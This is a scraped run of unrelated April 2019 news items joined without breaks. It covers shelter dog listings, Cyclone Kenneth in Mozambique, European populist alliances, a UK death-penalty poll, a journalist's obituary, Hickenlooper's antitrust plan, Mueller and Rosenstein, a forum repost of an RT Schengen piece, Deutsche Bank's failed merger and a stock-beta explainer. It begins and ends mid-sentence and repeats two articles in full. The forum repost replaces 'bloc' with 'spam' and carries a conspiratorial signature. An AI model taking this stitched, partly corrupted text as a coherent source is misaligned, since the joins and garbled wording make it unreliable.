Opie's profile about how he does with children or other animals, so it's worth asking Atlanta Humane Society directly. Read more about how to adopt Opie at Petfinder. Karlei, hound and mixed breed mix Karlei is a male hound and mixed breed mix staying at Atlanta Humane Society. His vaccinations aren't up to date quite yet, but he's been neutered. He still needs some guidance on proper house training. Read more about how to adopt Karlei at Petfinder. Cersei, miniature pinscher and mixed breed mix Cersei is a female miniature pinscher and mixed breed mix currently housed at Atlanta Humane Society. Her vaccinations aren't up to date quite yet, but she's been spayed. She has work to do on house training etiquette. From Cersei's caretaker: Hi! My name is Cersei. I absolutely love cuddles and playing fetch. I'm great on a leash and on the way to becoming fully housebroken. Playing is my favorite thing. I get along well with other dogs. Read more about how to adopt Cersei at Petfinder. Wrigley, Shetland sheepdog and terrier mix Wrigley is a male Shetland sheepdog and terrier mix being cared for at Priceless Pets Atlanta. Wrigley is a social animal he gets along well with other dogs. He already has all of his shots, and he's been neutered. From Wrigley's caretaker: Wrigley is a 2-3 year old mixed breed that looks like a Sheltie mixed with a small Terrier. Wrigley came from a South Georgia animal shelter. He was picked up as a stray dog, and tested positive for heartworms while there. That meant nobody would adopt him there, so he hitched a ride to Atlanta for a chance at a long and healthy life. Wrigley arrived in Atlanta on Easter Sunday and celebrated the beginning of his new life by settling into the soft sofa, exploring the backyard and basking in he sunshine. Wrigley is a gentle and sweet fellow in search of a loving home. Story continues Read more about how to adopt Wrigley at Petfinder. Lyle, Maltese and wirehaired terrier mix Lyle is a male Maltese and wirehaired terrier mix being cared for at Orphan Annie Rescue. Lyle is a social animal he loves cats and dogs. He already has all of his shots, and he's been neutered. He has work to do on house training etiquette. From Lyle's caretaker: Hi, my name is Lyle! I am a precious one year old boy who was rescued from a hoarding case where I was one of 162 dogs in a home! Because of this, I am a shy boy but I do warm up. I follow my foster mom around the house and love to sit in her lap. I am good with other dogs and cats. I am looking for a home with a fenced in yard at this time. Read more about how to adopt Lyle at Petfinder. This story was created automatically using local animal shelter data, then reviewed by an editor. Click here for more about what we're doing. Got thoughts? Go here to share your feedback. By Emma Rumney and Stephen Eisenhammer JOHANNESBURG/LUANDA (Reuters) - Cyclone Kenneth killed at least one person and left a trail of destruction in northern Mozambique, destroying houses, ripping up trees and knocking out power, authorities said on Friday. The cyclone brought storm surges and wind gusts of up to 280 km per hour (174 mph) when it made landfall on Thursday evening, after killing three people in the island nation of Comoros. It was the most powerful storm on record to hit Mozambique's northern coast and came just six weeks after Cyclone Idai battered the impoverished nation, causing devastating floods and killing more than 1,000 people across a swathe of southern Africa. The World Food Programme warned that Kenneth could dump as much as 600 millimeters of rain on the region over the next 10 days - twice that brought by Cyclone Idai. One woman in the port town of Pemba died after being hit by a falling tree, the Emergency Operations Committee for Cabo Delgado (COE) said in a statement, while another person was injured. In rural areas outside Pemba, many homes are made of mud. In the main town on the island of Ibo, 90 percent of the houses were destroyed, officials said. Around 15,000 people were out in the open or in "overcrowded" shelters and there was a need for tents, food and water, they said. There were also reports of a large number of homes and some infrastructure destroyed in Macomia district, a mainland district adjacent to Ibo. A local group, the Friends of Pemba Association, had earlier reported that they could not reach people in Muidumbe, a district further inland. Earlier in the week the government expressed concern that five rivers and coastal waterways could burst their banks. Mark Lowcock, United Nations under-secretary-general for humanitarian affairs, warned the storm could require another major humanitarian operation in Mozambique. "Cyclone Kenneth marks the first time two cyclones have made landfall in Mozambique during the same season, further stressing the government's limited resources," he said. Antonio Carabante, relief delegate with the International Federation of Red Cross and Red Crescent Societies (IFRC), highlighted the risks from expected heavy rainfall. "While attention is often given to wind speed, we know from experience that it is rainfall - and subsequent flooding and landslides - that can be even more dangerous from a humanitarian perspective," he said. The IFRC said it had teams in Mozambique providing first aid and preparing for potential flooding. Mozambique's National Institute of Disaster Management (INGC) also has teams out assessing the impact. FLOOD WARNINGS Shaquila Alberto, owner of the beach-front Messano Flower Lodge in Macomia, said there were many fallen trees there, and in rural areas people's homes had been damaged. Some areas of nearby Pemba had no power. "Even my workers, they said the roof and all the things fell down," she said by phone. Further south, in Pemba, Elton Ernesto, a receptionist at Raphael's Hotel, said there were fallen trees but not too much damage. The hotel had power and water, he said, while phones rang in the background. "The rain has stopped," he added. In the days after Cyclone Idai, heavy inland rains prompted rivers in central Mozambique to burst their banks, submerging entire villages, cutting areas off from aid and ruining crops. There were concerns the same could happen again in northern Mozambique. Before Kenneth hit, the government and aid workers moved around 30,000 people to safer buildings, however authorities said that around 680,000 people were in the path of the storm. The area which bore the brunt of Kenneth is not as densely populated as the one where Idai struck. (Additional reporting by Manuel Mucari in Maputo and Alexander Winning in Johannesburg; Writing by Emma Rumney; Editing by Janet Lawrence, Alexandra Zavis and Raissa Kasolowsky) COPENHAGEN, Denmark (AP) A senior member of a Danish anti-immigration party said Friday he hopes a new right-wing alliance "can have real influence on European policy for the first time ever" after next month's European Parliament elections. Soeren Espersen, deputy leader of the euroskeptic Danish People's Party, was referring to the creation of an alliance of populist parties from Italy, Denmark, Germany and Finland. "What is so exciting about this new group formation is that you choose two things that matter. The first is to stop mass immigration, and the second is to recreate what (former French President Gen. Charles) De Gaulle called a 'Europe of nations,'" Espersen said. De Gaulle, who was France's president for a decade from 1959, talked about having a Europe of sovereign states instead of a supranational EU structure. "This group, if successful, will become a strong group, where we can have real influence on European policy for the first time ever," Espersen said. Elections to the European Parliament are held May 23-26 throughout the bloc. Earlier this month, Italy's hard-line interior minister, Matteo Salvini, leader of the anti-migrant League party, presented an alliance with populist parties from Denmark, Germany and Finland. Their goal is to radically transform European Union policies on issues like migration, security, family and the environment. The parties currently sit in other parliamentary groups. Espersen spoke Friday as France's Marine Le Pen, whose National Rally party is to join the alliance in May, was visiting. She reiterated that Europe "should not bow to any foreign power, neither the United States, Russia or China. What I wish is that the European countries are strong, independent and sovereign, and defend their interests." A third of Conservative MPs want to bring back the death penalty in the UK, Yahoo can reveal (Getty Images) A third of Tory MPs support the reintroduction of capital punishment in the UK, Yahoo News can reveal. An exclusive poll of MPs carried out by YouGov found that 18% of Conservative MPs strongly support bringing back the death penalty and 13% somewhat support doing so. The poll has shocked activists, who have condemned MPs for hankering after the return of a grotesque and cold-blooded ritual. Not a single Labour MP said they support bringing back capital punishment. In November, Conservative MP John Hayes urged the Government to consider bringing back hanging for perpetrators of violent crimes in response to the Westminster Bridge attacked carried out by Khalid Masood. Conservative MP John Hayes said the death penalty would have been an appropriate punishment for the Westminster Bridge terrorist Khalid Masood. (PA Images) Mr Hayes said the option should be available to the courts in cases such as Masoods, and it would have been appropriate to hang him if he had survived the attack. Amnesty International condemned the MPs who support the reintroduction of the death penalty. Commenting on the poll, Kate Allen, Amnesty International UKs Director, told Yahoo: The vast majority of countries in the world have stopped using the death penalty in recognition of its cruelty and the ever-present danger of miscarriages of justice. We would urge any MP still hankering after a return of the grotesque ritual of cold-bloodedly condemning people to be hanged to consult our latest global report on the death penalty. It shows in case after case how people around the world are still being sentenced to death arbitrarily, after unfair trials - sometimes involving false confessions - and even for political reasons. Do we really want the UK to join China, Saudi Arabia and Iran in the dwindling band of countries that still execute their citizens? The death penalty is a cruel relic of the past and there should be no place for it in the modern world. The last execution in the UK took place in 1964 when Gwynne Evans and Peter Allen were hanged for murder. The Governments policy is to oppose the reintroduction of the death penalty. Story continues The most recent official briefing paper, published in 2015, says: It is the longstanding policy of the UK to oppose the death penalty in all circumstances as a matter of principle. There is a growing international momentum towards abolition of the death penalty - in the past two decades we have seen a significant rise in the number of countries becoming abolitionist, and we are keen to see this trend continue. YouGovs most recent poll of the public, carried out in 2014, found 45% of Brits support the reintroduction of the death penalty. The Serbian journalist Dejan Anastasijevic, who documented his countrys descent into revanchist nationalism under strongman Slobodan Milosevic, died Wednesday in Belgrade after a long illness. A friend, colleague and intellectual guide for a generation of journalists covering the violent conflicts in the Balkans after the end of the Cold War, Anastasijevic was 57. Anastasijevic documented Milosevics land grabs in Croatia and Bosnia in the early 1990s, reporting on Serb militia members war crimes against Muslim and Croat civilians for the Serbian news outlets Vreme, Tanjug and B92. Anastasijevic became TIME Magazines Belgrade-based correspondent in 1996. As an ethnic Albanian separatist movement rose in the Serbian province of Kosovo in the late 1990s, and Serbian forces cracked down on insurgents and civilians alike, he became a key voice in the international coverage of that crisis. Respected for the objectivity of his reporting, the clarity of his analysis and the power of his writing, Anastasijevic developed and maintained sources on all sides of the multi-party fighting over the years, from officers deep inside the Serbian security apparatus to members of the separatist Kosovo Liberation Army. He was also targeted for his reporting. During the U.S.-led bombing of Belgrade during the war in Kosovo, threats from Serbian security forces drove Anastasijevic and his family from Serbia to seek temporary safety in Vienna, Austria. He returned after the war to his apartment in downtown Belgrade. Later, his home was attacked with a hand grenade. Friends, Colleagues Pay Tribute to Dejan Anastasijevic https://t.co/mPjRCx5UiC Tim Judah (@timjudah1) April 25, 2019 When Milosevic was put on trial for war crimes and genocide in The Hague in the early 2000s, Anastasijevic testified against him. Story continues The consequences of his policies, Anastasijevic wrote soon afterwards for TIME, were all too visible, in Sarajevo, in Srebrenica and in Vukovar. Almost 11 years ago, I walked the towns muddy streets, stepping over corpses, as Serb militia members led away helpless civilians to what would be their mass grave. A year later, as part of a similar land grab in eastern Bosnia, the same men were happily torching Muslim homes and murdering their owners. The fighters were drunk with bloodlust and slivovitz, but they were also led by the invisible hand of Milosevics secret police, who organized, armed and supplied them. It was the link between Milosevic and these crimes that my testimony was intended to help prove. Compassionate with the victims of oppression and generous with novice and veteran colleagues alike, Anastasijevic was calm in the face of extraordinary danger, resolute in pursuit of the facts, and convivial after deadline. Read Anastasijevics 2006 essay on Slobodan Milosevics passing here By Sharon Bernstein SACRAMENTO, Calif., April 25 (Reuters) - Democratic presidential hopeful John Hickenlooper, a former governor of Colorado, will release an anti-monopoly plan in California on Friday that could challenge the dominance of such companies as Amazon and Google, his campaign told Reuters. In his first detailed economic policy proposal since announcing his candidacy for the Democratic presidential nomination last month, Hickenlooper's plan, shared exclusively with Reuters on Thursday, could help him distinguish himself in a crowded field of 20 candidates seeking the Democratic nomination for the presidency in 2020. Hickenlooper, who made his fortune as a small-business owner, plans to take on the tech giants and other large companies in San Francisco on Friday, in the heart of the state's thriving technology center. "He's talking about it from the perspective of an entrepreneur," spokeswoman Lauren Hitt said in an interview. Mega-corporations like Amazon or Google that dominate the market can make it difficult for new ideas to percolate." In a white paper to be released Friday morning in advance of a speech at the Commonwealth Club, Hickenlooper, 67, bemoans a slowing of the creation of new startup businesses in the United States, blaming lax enforcement of anti-trust laws from tech to retail for leading to dominance by a few companies in such varied sectors as hardware stores, cell phone providers and e-commerce. Hickenlooper is not the first Democratic candidate to make the dominance of the big tech companies a campaign issue. Senator Elizabeth Warren last month vowed to break up Amazon, Google and Facebook if she is elected president, saying at a campaign event in New York City, "The competition needs the opportunity to thrive and grow." LIMIT WORKER NON-COMPETE AGREEMENTS Hickenlooper's proposal calls for beefing up U.S. regulation of large companies, including expanding the Clayton Anti-Trust act to encourage competition and appointing judges who are "committed to the original aims of the anti-trust laws." Story continues Although the white paper stops short of calling for breaking up such companies as Amazon.com or Facebook, Hickenlooper's campaign said that beefed-up enforcement and a new focus on encouraging competition could lead to such results. As president, the white paper said, Hickenlooper would also push for legislation to limit employers' ability to demand non-compete agreements from workers, and ban makers of automobiles, farm equipment, computers and other products from forcing consumers to use the companies' own authorized repair systems when equipment breaks down. Hickenlooper would also direct the Federal Trade Commission to resume a long-abandoned practice of tracking companies' industry dominance, including examining past mergers to see if they should be undone. Warren, in her announcement last month vowing to combat the dominance of big tech companies, said she would nominate regulators to unwind acquisitions, such as Facebook's purchases of WhatsApp and Instagram and Amazon's deals for Whole Foods and Zappos. Hickenlooper is one of two governors to join the race to unseat U.S. President Donald Trump, who is expected to seek reelection. Washington Governor Jay Inslee has made climate change the centerpiece of his campaign. A centrist, Hickenlooper reinvented himself after a devastating job loss by founding a brew pub in what was then a neglected area of Denver. He later became the city's mayor and served two terms as governor of Colorado, leaving office in January of this year. In a Reuters/Ipsos poll released Wednesday, Hickenlooper was among several Democratic hopefuls who fell near the bottom of the pack in terms of name recognition. Former Vice President Joe Biden, who had not yet declared his run for the 2020 Democratic presidential nomination when the poll was conducted, led all other candidates in the race and drew his strongest levels of support from minorities and older adults. Biden declared his candidacy on Thursday. (Reporting by Sharon Bernstein Editing by Leslie Adler) By Sharon Bernstein SACRAMENTO, Calif. (Reuters) - Democratic presidential hopeful John Hickenlooper, a former governor of Colorado, will release an anti-monopoly plan in California on Friday that could challenge the dominance of such companies as Amazon and Google, his campaign told Reuters. In his first detailed economic policy proposal since announcing his candidacy for the Democratic presidential nomination last month, Hickenlooper's plan, shared exclusively with Reuters on Thursday, could help him distinguish himself in a crowded field of 20 candidates seeking the Democratic nomination for the presidency in 2020. Hickenlooper, who made his fortune as a small-business owner, plans to take on the tech giants and other large companies in San Francisco on Friday, in the heart of the state's thriving technology center. "He's talking about it from the perspective of an entrepreneur," spokeswoman Lauren Hitt said in an interview. Mega-corporations like Amazon or Google that dominate the market can make it difficult for new ideas to percolate." In a white paper to be released Friday morning in advance of a speech at the Commonwealth Club, Hickenlooper, 67, bemoans a slowing of the creation of new startup businesses in the United States, blaming lax enforcement of anti-trust laws from tech to retail for leading to dominance by a few companies in such varied sectors as hardware stores, cell phone providers and e-commerce. Hickenlooper is not the first Democratic candidate to make the dominance of the big tech companies a campaign issue. Senator Elizabeth Warren last month vowed to break up Amazon, Google and Facebook if she is elected president, saying at a campaign event in New York City, "The competition needs the opportunity to thrive and grow." LIMIT WORKER NON-COMPETE AGREEMENTS Hickenlooper's proposal calls for beefing up U.S. regulation of large companies, including expanding the Clayton Anti-Trust act to encourage competition and appointing judges who are "committed to the original aims of the anti-trust laws." Although the white paper stops short of calling for breaking up such companies as Amazon.com or Facebook, Hickenlooper's campaign said that beefed-up enforcement and a new focus on encouraging competition could lead to such results. As president, the white paper said, Hickenlooper would also push for legislation to limit employers' ability to demand non-compete agreements from workers, and ban makers of automobiles, farm equipment, computers and other products from forcing consumers to use the companies' own authorized repair systems when equipment breaks down. Hickenlooper would also direct the Federal Trade Commission to resume a long-abandoned practice of tracking companies' industry dominance, including examining past mergers to see if they should be undone. Warren, in her announcement last month vowing to combat the dominance of big tech companies, said she would nominate regulators to unwind acquisitions, such as Facebook's purchases of WhatsApp and Instagram and Amazon's deals for Whole Foods and Zappos. Hickenlooper is one of two governors to join the race to unseat U.S. President Donald Trump, who is expected to seek reelection. Washington Governor Jay Inslee has made climate change the centerpiece of his campaign. A centrist, Hickenlooper reinvented himself after a devastating job loss by founding a brew pub in what was then a neglected area of Denver. He later became the city's mayor and served two terms as governor of Colorado, leaving office in January of this year. In a Reuters/Ipsos poll released Wednesday, Hickenlooper was among several Democratic hopefuls who fell near the bottom of the pack in terms of name recognition. Former Vice President Joe Biden, who had not yet declared his run for the 2020 Democratic presidential nomination when the poll was conducted, led all other candidates in the race and drew his strongest levels of support from minorities and older adults. Biden declared his candidacy on Thursday. (Reporting by Sharon Bernstein; Editing by Leslie Adler) Millions of Americans, beginning with Washington Democrats, are eager for Special Counsel Robert Mueller to testify about his final report on Russian interference in the 2016 election. But despite a congressional summons, its still not clear whether Mueller will speak publicly, or when. Rep. Jerrold Nadler, chair of the House Judiciary Committee, sent a letter to Mueller on April 18, the day Attorney General William Barr released a redacted version of the report, requesting that Mueller testify no later than May 23. It is clear Congress and the American people must hear from Special Counsel Robert Mueller in person to better understand his findings, Nadler tweeted. Although Barr said prior to the release of the report that he would have no objections to Mueller testifying, its still not clear that the special counsel will do so by that deadline. According to a Judiciary Committee source, there have been several conversations between committee staff and the Department of Justice about Muellers testimony, but there is still no agreed-upon date, nor a commitment from DOJ that it will happen. The Justice Department declined to comment on the talks, instead pointing to Barrs previous comments. Also unclear is whether Mueller, who spent nearly two years investigating the Russian influence operation and its aftermath, is willing to testify. During his long stint as director of the FBI, Mueller proved himself to be a deft witness before Congress. But his report raises tricky legal and constitutional questions, including the pivotal matter of whether the president, as the nations top law enforcement official, is immune to prosecution while in office. Its an open question whether Mueller, who has been silent throughout his nearly two-year investigation and declined to issue a judgment on whether President Trump obstructed justice, may prefer the 448-page report to speak for itself. Peter Carr, who served as spokesperson for Muellers office but has since resumed his duties as spokesperson for the criminal division at the Justice Department, declined to comment. Story continues Trump has made clear that his administration intends to fight congressional subpoenas as well as broader efforts by House Democrats to investigate his administration. In recent days, the Trump administration has made a flurry of moves to thwart congressional overseers. It filed a lawsuit in an attempt to block an accounting firm subpoenaed by the Committee on Oversight and Reform from handing over the Presidents financial records, and according to the committee ordered recipients of subpoenas in other probes not to comply. Treasury Secretary Steve Mnuchin did not provide a requested response to the Ways and Means Committee about whether he would release Trumps tax returns, asking for more time to consult with DOJ. And the White House has reportedly indicated it would invoke executive privilege in response to a subpoena for testimony from former White House counsel Don McGahn, a key witness in Muellers investigation. Were fighting all the subpoenas, Trump told reporters earlier this week, arguing that Democrats were trying to investigate him for political purposes. Muellers testimony may be a different matter. According to a White House official, some Trump aides view that potential episode as the welcome capstone of the investigation. [Its when] reasonable people say, This is over, said the official, who told TIME the White House likely will not be involved in the decision and is not aware of any ongoing conversations between the White House and DOJ about the topic. Its unclear the White House would have the ability to stop Muellers testimony if he wanted to speak publicly. Mueller will leave DOJ employ and become a private citizen again in the coming days, says DOJ spokesman Carr. Once that happens, the Trump administration would have less sway over Mueller. Legal theorists who advocate for an expansive view of executive power are likely to argue that as long as Mueller remains at the Department of Justice, Trumpas the head of the executive branchwould have the power to prevent Mueller from testifying if he wants to. But two attorneys who have worked in Congress on legal issues involving power struggles between the executive and legislative branches said the President and his lawyers would have a hard time asserting executive privilege to block Muellers testimony, especially if he is not planning on discussing the redacted components of the report. I dont think there is any way the administration can effectively stop Mueller from testifying if he wants to testify, said one of those attorneys. If Mueller wants to testify, he will testify. And Mueller does not need Trump for anything. With reporting by Brian Bennett and Tessa Berenson/Washington Deputy Attorney General Rod Rosenstein offered a staunch defense of the Justice Department's oversight of special counsel Robert Mueller's investigation late Thursday, claiming that evidence of Russia's election interference campaign represented "only the tip of the iceberg" in the Kremlin's strategy to undermine the American political system. A week after a redacted version of Mueller's investigative report was made public, Rosenstein, who oversaw much of the investigation following the 2017 recusal of then-Attorney General Jeff Sessions, told an Armenian Bar Association gathering in New York that he only pledged to bring the investigation to "the appropriate conclusion." "I did not promise to report all results to the public, because grand jury investigations are (secret) proceedings," according to Rosenstein's written remarks. "It is not our job to render conclusive factual findings. We just decide whether it is appropriate to file criminal charges." 'I was so transparent': Trump: White House considering asserting executive privilege to hinder congressional probes Rosenstein's remarks come as Democratic lawmakers are demanding access to the unredacted version of Mueller's report, which found insufficient evidence that the Trump campaign and Russia engaged in a conspiracy to tilt the 2016 election to President Donald Trump. Mueller's team did not reach a conclusion on whether Trump obstructed the investigation, but Attorney General William Barr and Rosenstein decided that there was insufficient evidence to support such a finding. Deputy Attorney General Rod Rosenstein pauses while speaking Oct. 17, 2018, at the federal inspector general community's 21st annual awards ceremony, in Washington. Democrats have seized on the decision by Barr and Rosenstein, suggesting that their intervention was inappropriate and that a final decision on obstruction should have been left to Congress to decide. Rosenstein, who is set to leave the Justice Department next month, also claimed that critical decisions about the course of the investigation had been made before he took office exactly two years ago. Story continues "The previous (Obama) administration chose not to publicize the full story about Russian computer hackers and social media trolls, and how they relate to a broader strategy to undermine America," Rosenstein said, adding that the FBI later disclosed classified evidence about the investigation to ranking legislators and their staffers only to have details "selectively" leaked to reporters. 'It's about time to accept the results': Former AG Jeff Sessions speaks out on Mueller report A month before taking office, Rosenstein said then-FBI Director James Comey revealed the existence of the counterintelligence investigation at a congressional hearing and later alleged that the president "had pressured him to close the investigation." "So that happened," Rosenstein said, suggesting that he was thrust into an already politically charged position. "There is a story about firefighters who found a man on a burning bed. When they asked how the fire started, he replied, 'I dont know. It was on fire when I lay down on it.' I know the feeling," he said. But Rosenstein said the baseline conclusion that Russia had interfered in the election was undeniable. "There was overwhelming evidence that Russian operatives hacked American computers and defrauded American citizens, and that is only the tip of the iceberg of a comprehensive Russian strategy to influence elections, promote social discord, and undermine America, just like they do in many other countries," he said. This article originally appeared on USA TODAY: Deputy AG Rod Rosenstein offers biting defense of Russia investigation, jabs Obama administration Username: Password: or Register Back to Forum Reply to This post Post New Thread Thread Rating: 0 Vote(s) - 0 Average 1 2 3 4 5 Macron says Schengen zone needs to be smaller. Which country did he have in mind? ALADIN * weird wizard1* User ID: 493119 04-26-2019 05:29 PM Posts: 5,423 Post: #1 Macron says Schengen zone needs to be smaller. Which country did he have in mind? Advertisement Citing concerns over border security, French President Emmanuel Macron has declared that the EUs visa-free zone is no longer tenable. But how will he decide who stays and who goes, and is France in the running? Macron, once billed as a champion for greater EU integration and unity, made a surprising policy U-turn when he stated that the Schengen zone does not work anymore and that the spams open-border policy would need to be revised. The French leader also called for an end to the Dublin Regulation, which gives an EU member-state the right to send back asylum seekers to the first country of entry to the spam. His comments have been interpreted as concessions to the anti-globalist Yellow Vest movement, but Macron may have a difficult time explaining why he once railed against nations which opposed Brussels decrees about open borders and asylum seekers only to make an abrupt about-face. How does Macron envision this smaller, more border-conscious Schengen zone, and what factors will be used to decide which nations are no longer worthy of being part of the visa-free agreement? Is it possible that France shaken by an influx of migrants, terrorism and social unrest is a perfect candidate for exclusion from Macrons new Schengen agreement? Who stays and who goes? While the French president believes that the Schengen area, which is comprised of 22 EU member-states and four non-EU countries, is no longer tenable, he failed to elaborate on which countries will get the visa-free boot. How would a future, more security-savvy Schengen zone be determined? Excluding economically-challenged member states such as Greece or Italy could perhaps be a way to keep economic migrants at bay. Likewise, countries gripped by social strife, such as in Sweden, with its crime-plagued no-go zones, could be ideal candidates for Schengen exclusion. Or is Macron setting his sights on economic powerhouse Germany? Kicking Germany out of the zone seems unfathomable, but repeated terrorist attacks coupled with an increasingly uncertain political and social climate fuelled by its generous intake of asylum seekers could put Berlin on the blacklist. https://www.rt.com/news/457625-macron-eu...en-shrink/ It also forced all people, great and small, rich and poor, free and slave, to receive a ma s k on their nose and mouth ... Macron says Schengen zone needs to be smaller. Which country did he have in mind?Citing concerns over border security, French President Emmanuel Macron has declared that the EUs visa-free zone is no longer tenable. But how will he decide who stays and who goes, and is France in the running?Macron, once billed as a champion for greater EU integration and unity, made a surprising policy U-turn when he stated that the Schengen zone does not work anymore and that the spams open-border policy would need to be revised. The French leader also called for an end to the Dublin Regulation, which gives an EU member-state the right to send back asylum seekers to the first country of entry to the spam.His comments have been interpreted as concessions to the anti-globalist Yellow Vest movement, but Macron may have a difficult time explaining why he once railed against nations which opposed Brussels decrees about open borders and asylum seekers only to make an abrupt about-face.How does Macron envision this smaller, more border-conscious Schengen zone, and what factors will be used to decide which nations are no longer worthy of being part of the visa-free agreement? Is it possible that France shaken by an influx of migrants, terrorism and social unrest is a perfect candidate for exclusion from Macrons new Schengen agreement?Who stays and who goes?While the French president believes that the Schengen area, which is comprised of 22 EU member-states and four non-EU countries, is no longer tenable, he failed to elaborate on which countries will get the visa-free boot. How would a future, more security-savvy Schengen zone be determined? Excluding economically-challenged member states such as Greece or Italy could perhaps be a way to keep economic migrants at bay. Likewise, countries gripped by social strife, such as in Sweden, with its crime-plagued no-go zones, could be ideal candidates for Schengen exclusion.Or is Macron setting his sights on economic powerhouse Germany? Kicking Germany out of the zone seems unfathomable, but repeated terrorist attacks coupled with an increasingly uncertain political and social climate fuelled by its generous intake of asylum seekers could put Berlin on the blacklist. Back to Forum Reply to This post Post New Thread * CEO says Deutsche Bank is stable on its own two feet * Deutsche executive says Commerzbank initiated deal talks * Commerzbank denies this version of events * S&P says Deutsche Bank will "remain under strain" * Deutsche shares down 2.3 pct, Commerzbank up 4 pct By Tom Sims FRANKFURT, April 26 (Reuters) - Within hours of the collapse of merger talks with Commerzbank, Christian Sewing scrambled to convince investors and employees that Deutsche Bank can stand on its own two feet. The Deutsche Bank chief executive told staff, many of whom opposed a merger because of significant job losses, that while he had not been "skeptical" about the Commerzbank talks, he was cautious about the chances of success from the start. And another top Deutsche Bank executive said on Friday that it had been Commerzbank that initiated the talks, suggesting there was no desperation on their part for a deal. Commerzbank denied that version of events, ending the apparent truce between the normally highly competitive cross-town Frankfurt rivals over the past six weeks. German hopes of creating a national banking champion able to challenge global competitors were finally dashed on Thursday when Deutsche Bank and Commerzbank ended their talks due to the risks of doing a deal, restructuring costs and capital demands. For Sewing, the failure to clinch a deal has left the 49-year-old chief executive of Germany's largest bank, who took over just over a year ago, with his back to the wall. Credit ratings agency Standard & Poor's, which downgraded Deutsche Bank last year, said on Friday that Deutsche Bank "will remain under strain," adding that it "seems to have acknowledged the need to adjust its strategy." Under Sewing, a new leadership has tried to revive Deutsche Bank's fortunes, but it has faced money laundering allegations and failed stress tests, as well as ratings downgrades. At the heart of the debate over its future is whether it should focus its business on Germany and draw a line under its costly global ambitions to take on Wall Street's big guns. Story continues "MARKET PLAY" Without a deal, Deutsche Bank now finds itself back at the mercy of equity and debt markets, with UBS analysts warning that in a "stress scenario" it could again "be forced into a 'debt-driven capital increase' even with solid capital ratios." "Deutsche remains a levered market play vulnerable to external events," the UBS analysts said in a note. Sewing, along with many analysts, believes Deutsche Bank can go it alone in the short-term, but will be counting on a turnaround in market conditions to do so in the long-run given its dependence on volatile investment bank earnings. "To reach our return objective, we also need to see a revenue recovery in our more market-sensitive business," Sewing said on Friday after reporting results. "These revenues are available to us in better market conditions given our leading positions in many of these businesses, but we need to capture them," he added. Revenue at Deutsche Bank's bond trading division fell 19 percent in the first quarter, it said on Friday, underscoring weakness at its investment bank. If those earnings do not improve, Berlin's desire to keep its biggest bank out of foreign hands may start to wane. "Germany's globally active companies need competitive financial institutions that can support them around the world," German finance minister Olaf Scholz said on Thursday. (Writing by Alexander Smith Editing by Keith Weir) By Tom Sims FRANKFURT (Reuters) - Within hours of the collapse of merger talks with Commerzbank, Christian Sewing scrambled to convince investors and employees that Deutsche Bank can stand on its own two feet. The Deutsche Bank chief executive told staff, many of whom opposed a merger because of significant job losses, that while he had not been "skeptical" about the Commerzbank talks, he was cautious about the chances of success from the start. And another top Deutsche Bank executive said on Friday that it had been Commerzbank that initiated the talks, suggesting there was no desperation on their part for a deal. Commerzbank denied that version of events, ending the apparent truce between the normally highly competitive cross-town Frankfurt rivals over the past six weeks. German hopes of creating a national banking champion able to challenge global competitors were finally dashed on Thursday when Deutsche Bank and Commerzbank ended their talks due to the risks of doing a deal, restructuring costs and capital demands. For Sewing, the failure to clinch a deal has left the 49-year-old chief executive of Germany's largest bank, who took over just over a year ago, with his back to the wall. Credit ratings agency Standard & Poor's, which downgraded Deutsche Bank last year, said on Friday that Deutsche Bank "will remain under strain", adding that it "seems to have acknowledged the need to adjust its strategy". Under Sewing, a new leadership has tried to revive Deutsche Bank's fortunes, but it has faced money laundering allegations and failed stress tests, as well as ratings downgrades. At the heart of the debate over its future is whether it should focus its business on Germany and draw a line under its costly global ambitions to take on Wall Street's big guns. "MARKET PLAY" Without a deal, Deutsche Bank now finds itself back at the mercy of equity and debt markets, with UBS analysts warning that in a "stress scenario" it could again "be forced into a 'debt-driven capital increase' even with solid capital ratios". Story continues "Deutsche remains a levered market play vulnerable to external events," the UBS analysts said in a note. Sewing, along with many analysts, believes Deutsche Bank can go it alone in the short-term, but will be counting on a turnaround in market conditions to do so in the long-run given its dependence on volatile investment bank earnings. "To reach our return objective, we also need to see a revenue recovery in our more market-sensitive business," Sewing said on Friday after reporting results. "These revenues are available to us in better market conditions given our leading positions in many of these businesses, but we need to capture them," he added. Revenue at Deutsche Bank's bond trading division fell 19 percent in the first quarter, it said on Friday, underscoring weakness at its investment bank. If those earnings do not improve, Berlin's desire to keep its biggest bank out of foreign hands may start to wane. "Germany's globally active companies need competitive financial institutions that can support them around the world," German finance minister Olaf Scholz said on Thursday. (Writing by Alexander Smith; Editing by Keith Weir) John Singleton (Credit: DPA) The director John Singleton is in a coma following a major stroke. Singleton, who is 51, fell ill after a trip to Costa Rica last week, and then suffered a stroke while under medical care, with initial reports suggesting that it was mild. However, according to legal documents seen by US site The Blast, Singletons mother Sheila Ward has now applied to be his conservator. Read more: Rami Malek confirmed as Bond villain In the documents, Singletons stroke is described as a major impairment to motor skills and psychological functions, including his ability to reason logically. It goes on to say that he is unable to provide for his personal needs, with his mother requesting permission to make medical decisions for him. Spike Lee and Snoop Dogg are among those who have sent prayers for the director. Singleton made his breakthrough at 23 with his debut movie Boyz n the Hood, starring Ice Cube, Cuba Gooding Jr, and Laurence Fishburne, using his experiences growing up in South Central Los Angeles. The film earned him an Oscar nomination. He went on to make movies including the 2000 remake of Shaft, with Samuel L. Jackson and the second movie in the Fast and Furious series, 2 Fast 2 Furious. If you own shares in Tsakos Energy Navigation Limited (NYSE:TNP) then it's worth thinking about how it contributes to the volatility of your portfolio, overall. In finance, Beta is a measure of volatility. Modern finance theory considers volatility to be a measure of risk, and there are two main types of price volatility. The first category is company specific volatility. This can be dealt with by limiting your exposure to any particular stock. The second sort is caused by the natural volatility of markets, overall. For example, certain macroeconomic events will impact (virtually) all stocks on the market. Some stocks see their prices move in concert with the market. Others tend towards stronger, gentler or unrelated price movements. Beta can be a useful tool to understand how much a stock is influenced by market risk (volatility). However, Warren Buffett said 'volatility is far from synonymous with risk' in his 2014 letter to investors. So, while useful, beta is not the only metric to consider. To use beta as an investor, you must first understand that the overall market has a beta of one. A stock with a beta greater than one is more sensitive to broader market movements than a stock with a beta of less than one. Check out our latest analysis for Tsakos Energy Navigation What does TNP's beta value mean to investors? Zooming in on Tsakos Energy Navigation, we see it has a five year beta of 1.39. This is above 1, so historically its share price has been influenced by the broader volatility of the stock market. If the past is any guide, we would expect that Tsakos Energy Navigation shares will rise quicker than the markets in times of optimism, but fall faster in times of pessimism. Many would argue that beta is useful in position sizing, but fundamental metrics such as revenue and earnings are more important overall. You 